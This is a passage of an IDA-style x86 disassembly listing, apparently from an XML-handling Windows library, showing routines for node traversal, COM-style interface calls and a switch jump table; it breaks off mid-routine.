loc_69B48303:				; CODE XREF: sub_69B482CE+25j
		pop	esi

locret_69B48304:			; CODE XREF: sub_69B482CE+4j
		retn	8
sub_69B482CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48307	proc near		; CODE XREF: sub_69B4C674+1BDp
					; sub_69B4C674+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		cmp	ecx, 3
		jz	short loc_69B48331
		mov	eax, [esp+arg_0]
		movzx	eax, byte ptr [eax+0Bh]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		and	eax, 1Fh
		test	ds:dword_69B48358[eax*4], edx
		jnz	short locret_69B48352


loc_69B48331:				; CODE XREF: sub_69B48307+Fj
		push	0
		push	lpMultiByteStr[ecx*4] ;	lpMultiByteStr
		call	sub_69B1D494
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h

locret_69B48352:			; CODE XREF: sub_69B48307+28j
		retn	8
sub_69B48307	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B48358	dd 867h				dd 2 dup(0)
		dd 40035h, 40h,	2 dup(0)
		dd 867h, 7 dup(0)
		dd 802h, 0
		dd 40867h, 0

; =============== S U B	R O U T	I N E =======================================



sub_69B483A4	proc near		; CODE XREF: sub_69B3F90C+1D3p
					; sub_69B49219+68p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, ecx
		mov	eax, [edi+8]
		shr	eax, 0Ah
		movzx	eax, al
		shl	eax, 0Ah
		xor	eax, [esi+8]
		and	eax, 400h
		xor	[esi+8], eax
		mov	eax, [edi]
		call	dword ptr [eax+108h]
		mov	ebx, eax
		xor	ebp, ebp
		test	ebx, ebx
		jz	short loc_69B48407
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+110h]
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_69B48407
		mov	eax, [ebx]
		mov	ebp, [esi]
		mov	ecx, ebx
		call	dword ptr [eax+100h]
		push	eax
		mov	ecx, esi
		call	dword ptr [ebp+104h]
		mov	eax, [ebx]
		push	esi
		mov	ecx, ebx
		call	dword ptr [eax+104h]
		jmp	short loc_69B4841D
; ---------------------------------------------------------------------------


loc_69B48407:				; CODE XREF: sub_69B483A4+2Fj
					; sub_69B483A4+3Fj
		mov	eax, [esi]
		push	esi
		mov	ecx, esi
		call	dword ptr [eax+104h]
		test	ebp, ebp
		jz	short loc_69B4841D
		mov	eax, [ebp+0]
		push	ebp
		call	dword ptr [eax+8]


loc_69B4841D:				; CODE XREF: sub_69B483A4+61j
					; sub_69B483A4+70j
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+0FCh]
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		call	dword ptr [eax+10Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_69B483A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4843A	proc near		; CODE XREF: sub_69B4928E+73p
					; sub_69B499AC+37p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx]
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		call	dword ptr [eax+108h]
		mov	esi, eax
		test	esi, esi
		mov	[ebp+var_4], esi
		jz	short loc_69B48471
		mov	edi, [ebp+arg_0]


loc_69B48458:				; CODE XREF: sub_69B4843A+35j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+100h]
		cmp	eax, edi
		jz	short loc_69B4848D
		cmp	eax, [ebp+var_4]
		mov	esi, eax
		jz	short loc_69B4848B
		test	eax, eax
		jnz	short loc_69B48458


loc_69B48471:				; CODE XREF: sub_69B4843A+19j
					; sub_69B4843A+55j
		push	0
		push	0C00CE207h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B48485:				; CODE XREF: sub_69B4843A+A3j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_69B4848B:				; CODE XREF: sub_69B4843A+31j
		xor	esi, esi


loc_69B4848D:				; CODE XREF: sub_69B4843A+2Aj
		test	esi, esi
		jz	short loc_69B48471
		mov	eax, [edi]
		push	ebx
		mov	ebx, [esi]
		mov	ecx, edi
		call	dword ptr [eax+100h]
		push	eax
		mov	ecx, esi
		call	dword ptr [ebx+104h]
		mov	eax, [edi]
		xor	ebx, ebx
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+104h]
		cmp	[ebp+var_4], edi
		jnz	short loc_69B484CD
		cmp	[ebp+var_4], esi
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		jnz	short loc_69B484C6
		push	ebx
		jmp	short loc_69B484C7
; ---------------------------------------------------------------------------


loc_69B484C6:				; CODE XREF: sub_69B4843A+87j
		push	esi


loc_69B484C7:				; CODE XREF: sub_69B4843A+8Aj
		call	dword ptr [eax+10Ch]


loc_69B484CD:				; CODE XREF: sub_69B4843A+7Dj
		mov	eax, [edi]
		or	byte ptr [edi+9], 4
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+0FCh]
		pop	ebx
		jmp	short loc_69B48485
sub_69B4843A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B484DF	proc near		; CODE XREF: sub_69B48769j
					; sub_69B49CB0+17p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4852B
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+108h]
		mov	edi, eax
		jmp	short loc_69B48524
; ---------------------------------------------------------------------------


loc_69B484FD:				; CODE XREF: sub_69B484DF+47j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+100h]
		mov	esi, eax
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		cmp	eax, [esp+8+arg_4]
		jnz	short loc_69B48524
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [esp+8+arg_0]
		jz	short loc_69B4852F


loc_69B48524:				; CODE XREF: sub_69B484DF+1Cj
					; sub_69B484DF+36j
		cmp	esi, edi
		jnz	short loc_69B484FD
		xor	eax, eax


loc_69B4852A:				; CODE XREF: sub_69B484DF+52j
		pop	edi


loc_69B4852B:				; CODE XREF: sub_69B484DF+Dj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B4852F:				; CODE XREF: sub_69B484DF+43j
		mov	eax, esi
		jmp	short loc_69B4852A
sub_69B484DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48533	proc near		; CODE XREF: sub_69B41A7C+55p
					; sub_69B4A3AE+F2p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4856D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+108h]
		cmp	esi, eax
		jz	short loc_69B4856D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+100h]
		mov	ecx, [eax+8]
		shr	ecx, 14h
		and	cl, 1
		neg	cl
		pop	esi
		sbb	ecx, ecx
		not	ecx
		and	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_69B4856D:				; CODE XREF: sub_69B48533+Dj
					; sub_69B48533+1Bj
		xor	eax, eax
		pop	esi
		retn
sub_69B48533	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48571	proc near		; CODE XREF: sub_69B495EC+151p

arg_0		= dword	ptr  4

		mov	dx, [ecx+8]
		mov	eax, [esp+arg_0]
		mov	[eax], dx
		mov	edx, [ecx+18h]
		mov	[eax+8], edx
		mov	ecx, [ecx+1Ch]
		mov	[eax+0Ch], ecx
		retn	4
sub_69B48571	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4858B	proc near		; CODE XREF: sub_69B14EAC+19Dp
					; sub_69B4AF3F+16Bp ...
		push	24h
		push	offset dword_69B48678
		call	sub_69B19C5C
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+74h]
		xor	edi, edi
		test	al, al
		jnz	short loc_69B485AD
		cmp	[ebp+0Ch], edi
		jz	loc_69B48670


loc_69B485AD:				; CODE XREF: sub_69B4858B+17j
		mov	[ebp-1Ch], edi
		cmp	byte ptr [ebp+18h], 0
		jz	short loc_69B485C6
		mov	eax, [ebp+8]
		cmp	byte ptr [eax+82h], 0
		mov	byte ptr [ebp-1Dh], 0
		jz	short loc_69B485CA


loc_69B485C6:				; CODE XREF: sub_69B4858B+29j
		mov	byte ptr [ebp-1Dh], 1


loc_69B485CA:				; CODE XREF: sub_69B4858B+39j
		or	ebx, 0FFFFFFFFh
		mov	[ebp-24h], ebx
		mov	eax, [ebp+1Ch]
		cmp	eax, edi
		jz	short loc_69B485E5
		cmp	byte ptr [ebp-1Dh], 0
		jz	short loc_69B485E5
		mov	ecx, [eax+28h]
		mov	[ebp-28h], ecx
		jmp	short loc_69B485E8
; ---------------------------------------------------------------------------


loc_69B485E5:				; CODE XREF: sub_69B4858B+4Aj
					; sub_69B4858B+50j
		mov	[ebp-28h], ebx


loc_69B485E8:				; CODE XREF: sub_69B4858B+58j
		cmp	eax, edi
		jz	short loc_69B485F5
		cmp	byte ptr [ebp-1Dh], 0
		jz	short loc_69B485F5
		mov	ebx, [eax+24h]


loc_69B485F5:				; CODE XREF: sub_69B4858B+5Fj
					; sub_69B4858B+65j
		mov	[ebp-4], edi
		mov	eax, [ebp+0Ch]
		cmp	eax, edi
		jnz	short loc_69B48607
		push	edi
		mov	ecx, esi
		call	sub_69B47E6C


loc_69B48607:				; CODE XREF: sub_69B4858B+72j
		mov	esi, eax
		mov	[ebp-2Ch], esi
		mov	eax, [esi+8]
		mov	[ebp-30h], eax
		mov	ecx, [esi+0Ch]
		mov	[ebp-34h], ecx
		lea	edx, [ebp-24h]
		push	edx		; int
		push	edi		; int
		mov	edi, [ebp+14h]
		push	edi		; pvar
		push	ebx		; int
		push	dword ptr [ebp-28h] ; int
		push	dword ptr [ebp+10h] ; int
		push	eax		; cElements
		push	ecx		; int
		call	sub_69B30DEE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B48661
; ---------------------------------------------------------------------------


loc_69B4863C:				; DATA XREF: .text:69B4867Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B48645:				; DATA XREF: .text:69B48680o
		mov	esp, [ebp-18h]
		cmp	byte ptr [ebp-1Dh], 0
		jz	short loc_69B48653
		call	sub_69B2E860


loc_69B48653:				; CODE XREF: sub_69B4858B+C1j
		mov	dword ptr [ebp-1Ch], 80004005h
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp+14h]


loc_69B48661:				; CODE XREF: sub_69B4858B+AFj
		cmp	dword ptr [ebp-1Ch], 0
		jge	short loc_69B48670
		mov	word ptr [edi],	0Ah
		and	dword ptr [edi+8], 0


loc_69B48670:				; CODE XREF: sub_69B4858B+1Cj
					; sub_69B4858B+DAj
		call	sub_69B1853C
		retn	18h
sub_69B4858B	endp

; ---------------------------------------------------------------------------
dword_69B48678	dd 0FFFFFFFFh			dd offset loc_69B4863C
		dd offset loc_69B48645

; =============== S U B	R O U T	I N E =======================================



sub_69B48684	proc near		; CODE XREF: sub_69B48894+E8p
					; sub_69B645E4+AFp ...

arg_0		= dword	ptr  4

		cmp	byte ptr [ecx+4], 0
		mov	eax, [esp+arg_0]
		mov	dword ptr [ecx], 5
		mov	[ecx+8], eax
		jz	short locret_69B4869D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

locret_69B4869D:			; CODE XREF: sub_69B48684+11j
		retn	4
sub_69B48684	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B486A0	proc near		; CODE XREF: sub_69B8BCA2+95p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		shl	eax, 4
		xor	eax, [ecx+8]
		and	eax, 3F0h
		xor	[ecx+8], eax
		retn	4
sub_69B486A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B486B5	proc near		; CODE XREF: sub_69B4A077+59p
					; sub_69B4A0ED+16p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B47D9F
		test	eax, eax
		jz	short locret_69B486CF
		mov	ecx, [eax+8]
		shr	ecx, 14h
		test	cl, 1
		jnz	short locret_69B486CF
		xor	eax, eax

locret_69B486CF:			; CODE XREF: sub_69B486B5+Bj
					; sub_69B486B5+16j
		retn	4
sub_69B486B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B486D2	proc near		; CODE XREF: sub_69B48F40+ADp
					; sub_69B498EF+11p ...
		push	ebx
		push	esi
		mov	esi, ecx
		mov	al, [esi+0Bh]
		and	al, 1Fh
		xor	ebx, ebx
		cmp	al, 0Bh
		jnz	short loc_69B48713
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+38h]
		mov	ecx, [esi+0Ch]
		mov	edi, eax
		call	sub_69B3DABE
		cmp	edi, ebx
		jz	short loc_69B48712
		cmp	eax, ebx
		jz	short loc_69B48712
		push	ebx
		push	edi
		mov	ecx, eax
		call	sub_69B8AFBA
		cmp	eax, ebx
		jz	short loc_69B48712
		push	dword ptr [esi+0Ch]
		mov	ecx, eax
		call	sub_69B8C56F
		mov	ebx, eax


loc_69B48712:				; CODE XREF: sub_69B486D2+21j
					; sub_69B486D2+25j ...
		pop	edi


loc_69B48713:				; CODE XREF: sub_69B486D2+Dj
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B486D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48718	proc near		; CODE XREF: sub_69B48C0F+3j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	[ebp+arg_0]
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFFEh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_69B48743
		or	eax, 1
		mov	[esi+0Ch], eax
		jmp	short loc_69B48747
; ---------------------------------------------------------------------------


loc_69B48743:				; CODE XREF: sub_69B48718+21j
		and	dword ptr [esi+0Ch], 0


loc_69B48747:				; CODE XREF: sub_69B48718+29j
		pop	esi
		leave
		retn	4
sub_69B48718	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4874C	proc near		; DATA XREF: .text:69B15350o
					; .text:69B1DDA0o
		mov	eax, [ecx+8]
		shr	eax, 0Eh
		and	eax, 1
		retn
sub_69B4874C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48756	proc near		; DATA XREF: .text:69B152E8o
					; .text:69B1DD38o
		push	esi
		mov	esi, ecx
		call	sub_69B48032
		mov	eax, [esi]
		mov	ecx, esi
		pop	esi
		jmp	dword ptr [eax+110h]
sub_69B48756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B48769	proc near		; DATA XREF: .text:69B1532Co
					; .text:69B1DD7Co
		jmp	sub_69B484DF
sub_69B48769	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4876E	proc near		; DATA XREF: .text:69B1DCF4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B481BE
		test	[esp+4+arg_0], 1
		jz	short loc_69B48783
		push	esi
		call	sub_69B2E3BD


loc_69B48783:				; CODE XREF: sub_69B4876E+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B4876E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48789	proc near		; DATA XREF: .text:69B15304o
					; .text:69B1DD54o

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebp, ecx
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+0F4h]
		xor	ebx, ebx
		jmp	short loc_69B487BD
; ---------------------------------------------------------------------------


loc_69B487A1:				; CODE XREF: sub_69B48789+38j
		push	edi
		mov	ecx, esi
		call	sub_69B47D9F
		test	eax, eax
		jnz	short loc_69B487D0
		cmp	esi, ebp
		jz	short loc_69B487C5
		mov	[edi], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]


loc_69B487BD:				; CODE XREF: sub_69B48789+16j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B487A1
		jmp	short loc_69B487E5
; ---------------------------------------------------------------------------


loc_69B487C5:				; CODE XREF: sub_69B48789+26j
		mov	ecx, ebp
		call	sub_69B48032
		xor	ebx, ebx
		jmp	short loc_69B487E5
; ---------------------------------------------------------------------------


loc_69B487D0:				; CODE XREF: sub_69B48789+22j
		mov	cl, [eax+0Bh]
		and	cl, 1Fh
		cmp	cl, 0Bh
		jnz	short loc_69B487E3
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+68h]


loc_69B487E3:				; CODE XREF: sub_69B48789+50j
		mov	ebx, eax


loc_69B487E5:				; CODE XREF: sub_69B48789+3Aj
					; sub_69B48789+45j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B48789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B487EE	proc near		; DATA XREF: .text:69B15308o
					; .text:69B1DD58o

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4881B
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		jmp	short loc_69B48817
; ---------------------------------------------------------------------------


loc_69B4880B:				; CODE XREF: sub_69B487EE+2Bj
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, esi
		inc	edi
		call	dword ptr [eax+6Ch]


loc_69B48817:				; CODE XREF: sub_69B487EE+1Bj
		test	eax, eax
		jnz	short loc_69B4880B


loc_69B4881B:				; CODE XREF: sub_69B487EE+Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_69B487EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48821	proc near		; CODE XREF: sub_69B495EC+C9p
					; sub_69B8C7D8+30p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		push	esi
		mov	esi, [eax+0Ch]
		mov	eax, [eax+10h]
		push	edi
		push	esi
		mov	edi, ecx
		mov	ecx, [edx+14h]
		mov	edx, [edx+10h]
		push	eax
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B4D7A3
		pop	edi
		pop	esi
		retn	4
sub_69B48821	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4884D	proc near		; DATA XREF: .text:69B15358o
					; .text:69B1DDA8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B48032
		push	[esp+4+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+124h]
		pop	esi
		retn	4
sub_69B4884D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B48867(int, VARIANTARG *pvargDest)

sub_69B48867	proc near		; DATA XREF: .text:69B15354o
					; .text:69B1DDA4o

arg_0		= dword	ptr  4
pvargDest	= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B48032
		push	[esp+4+pvargDest] ; pvargDest
		mov	ecx, esi
		push	[esp+8+arg_0]	; int
		call	sub_69B47DF9
		pop	esi
		retn	8
sub_69B48867	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48882	proc near		; DATA XREF: .text:69B15370o
					; .text:69B1DDC0o
		mov	eax, [ecx+8]
		shr	eax, 0Ch
		and	al, 1
		jnz	short locret_69B48893
		call	sub_69B48043
		xor	al, al

locret_69B48893:			; CODE XREF: sub_69B48882+8j
		retn
sub_69B48882	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48894	proc near		; DATA XREF: .text:69B152ECo
					; .text:69B1DD3Co

var_10		= word ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF2h
		cmp	eax, 15h	; switch 22 cases
		ja	loc_69B4896F	; default
					; jumptable 69B488B0 case 12
		movzx	eax, ds:byte_69B48999[eax]
		jmp	ds:off_69B48985[eax*4] ; switch	jump


loc_69B488B7:				; DATA XREF: .text:off_69B48985o
		mov	eax, [ecx]	; jumptable 69B488B0 case 0
		and	[ebp+var_10], 0
		lea	edx, [ebp+var_10]
		push	edx
		push	0Eh
		call	dword ptr [eax+0BCh]
		cmp	[ebp+var_10], 0Bh
		jnz	locret_69B48981
		cmp	word ptr [ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		setnz	cl
		mov	dword ptr [eax], 1
		mov	[eax+8], cl
		jmp	locret_69B48981
; ---------------------------------------------------------------------------


loc_69B488EE:				; CODE XREF: sub_69B48894+1Cj
					; DATA XREF: .text:off_69B48985o
		mov	eax, [ecx]	; jumptable 69B488B0 cases 1,6-11,13-16,19-21
		and	[ebp+var_10], 0
		lea	edx, [ebp+var_10]
		push	edx
		push	1Eh
		call	dword ptr [eax+0BCh]
		cmp	[ebp+var_10], 5
		jnz	short locret_69B48981
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 3
		jmp	short loc_69B48967
; ---------------------------------------------------------------------------


loc_69B48913:				; CODE XREF: sub_69B48894+1Cj
					; DATA XREF: .text:off_69B48985o
		mov	eax, [ecx]	; jumptable 69B488B0 case 5
		and	[ebp+var_10], 0
		lea	edx, [ebp+var_10]
		push	edx
		push	13h
		call	dword ptr [eax+0BCh]
		cmp	[ebp+var_10], 6
		jnz	short locret_69B48981
		mov	eax, [ebp+arg_4]
		mov	ecx, dword ptr [ebp+var_8]
		mov	[eax+8], ecx
		mov	ecx, dword ptr [ebp+var_8+4]
		mov	dword ptr [eax], 2
		mov	[eax+0Ch], ecx
		jmp	short locret_69B48981
; ---------------------------------------------------------------------------


loc_69B48944:				; CODE XREF: sub_69B48894+1Cj
					; DATA XREF: .text:off_69B48985o
		mov	eax, [ecx]	; jumptable 69B488B0 cases 2-4,17,18
		and	[ebp+var_10], 0
		lea	edx, [ebp+var_10]
		push	edx
		push	10h
		call	dword ptr [eax+0BCh]
		cmp	[ebp+var_10], 7
		jnz	short locret_69B48981
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 4


loc_69B48967:				; CODE XREF: sub_69B48894+7Dj
		fld	[ebp+var_8]
		fstp	qword ptr [eax+8]
		jmp	short locret_69B48981
; ---------------------------------------------------------------------------


loc_69B4896F:				; CODE XREF: sub_69B48894+Fj
					; sub_69B48894+1Cj
					; DATA XREF: ...
		mov	eax, [ecx]	; default
					; jumptable 69B488B0 case 12
		push	0
		push	4
		call	dword ptr [eax+4Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B48684

locret_69B48981:			; CODE XREF: sub_69B48894+3Bj
					; sub_69B48894+55j ...
		leave
		retn	8
sub_69B48894	endp

; ---------------------------------------------------------------------------
off_69B48985	dd offset loc_69B488B7	; DATA XREF: sub_69B48894+1Cr
		dd offset loc_69B488EE	; jump table for switch	statement
		dd offset loc_69B48944
		dd offset loc_69B48913
		dd offset loc_69B4896F
byte_69B48999	db	0,     1,     2,     2 ; DATA XREF: sub_69B48894+15r
		db	2,     3,     1,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	4,     1,     1,     1
		db	1,     2,     2,     1
		db	1,     1

; =============== S U B	R O U T	I N E =======================================



sub_69B489AF	proc near		; CODE XREF: sub_69B491B5+14p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 10h
		test	cl, 1
		jnz	short loc_69B489F6
		test	eax, 0C0000h
		jnz	short loc_69B489F6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B489F6
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B489EC
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B489F6


loc_69B489EC:				; CODE XREF: sub_69B489AF+31j
		push	8000000Ah
		call	sub_69B2E8B8


loc_69B489F6:				; CODE XREF: sub_69B489AF+Ej
					; sub_69B489AF+15j ...
		pop	esi
		retn
sub_69B489AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B489F8	proc near		; CODE XREF: sub_69B48A77+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_69B48A14
		mov	eax, 80070057h
		jmp	short loc_69B48A72
; ---------------------------------------------------------------------------


loc_69B48A14:				; CODE XREF: sub_69B489F8+13j
		mov	eax, [esi]
		lea	ecx, [ebp+var_8]
		push	ecx
		push	offset dword_69B2B060
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B48A46
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_69B48A46
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B48A5E
		cmp	[ebp+var_4], 0
		jz	short loc_69B48A5E
		mov	esi, [ebp+var_4]


loc_69B48A46:				; CODE XREF: sub_69B489F8+2Cj
					; sub_69B489F8+33j
		push	esi
		call	sub_69B47D5E
		test	eax, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jnz	short loc_69B48A5C
		mov	esi, 80004002h
		jmp	short loc_69B48A5E
; ---------------------------------------------------------------------------


loc_69B48A5C:				; CODE XREF: sub_69B489F8+5Bj
		xor	esi, esi


loc_69B48A5E:				; CODE XREF: sub_69B489F8+43j
					; sub_69B489F8+49j ...
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B17230
		mov	eax, esi


loc_69B48A72:				; CODE XREF: sub_69B489F8+1Aj
		pop	esi
		leave
		retn	8
sub_69B489F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B48A77	proc near		; CODE XREF: sub_69B3B4B1+4p
					; sub_69B3B8CA+47p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B489F8
		cmp	eax, 80004002h
		jnz	short loc_69B48A97
		mov	eax, 80070057h


loc_69B48A97:				; CODE XREF: sub_69B48A77+19j
		push	eax
		call	sub_69B8861E
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_69B48A77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48AA4	proc near		; DATA XREF: .text:69B1537Co
					; .text:69B1DDCCo
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		jmp	short loc_69B48AEB
; ---------------------------------------------------------------------------


loc_69B48AAD:				; CODE XREF: sub_69B48AA4+51j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	eax, 0Bh
		jnz	short loc_69B48AE7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		mov	ecx, [edi+0Ch]
		mov	ebx, eax
		call	sub_69B3DABE
		test	ebx, ebx
		jz	short loc_69B48AE7
		test	eax, eax
		jz	short loc_69B48AE7
		push	0
		push	ebx
		mov	ecx, eax
		call	sub_69B8AFBA
		test	eax, eax
		jz	short loc_69B48AE7
		mov	eax, [eax+10h]
		test	eax, eax
		jnz	short loc_69B48AFD


loc_69B48AE7:				; CODE XREF: sub_69B48AA4+13j
					; sub_69B48AA4+28j ...
		mov	eax, [esi]
		mov	ecx, esi


loc_69B48AEB:				; CODE XREF: sub_69B48AA4+7j
		call	dword ptr [eax+0F4h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B48AAD
		mov	eax, [edi+0Ch]
		mov	eax, [eax+48h]


loc_69B48AFD:				; CODE XREF: sub_69B48AA4+41j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B48AA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B48B01	proc near		; CODE XREF: sub_69B1C04C+8221p
					; sub_69B1C04C+82BCp ...
		push	esi
		mov	esi, ecx
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B48B31
		push	44h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B48B24
		push	dword ptr [esi+0Ch]
		mov	ecx, eax
		call	sub_69B592CE
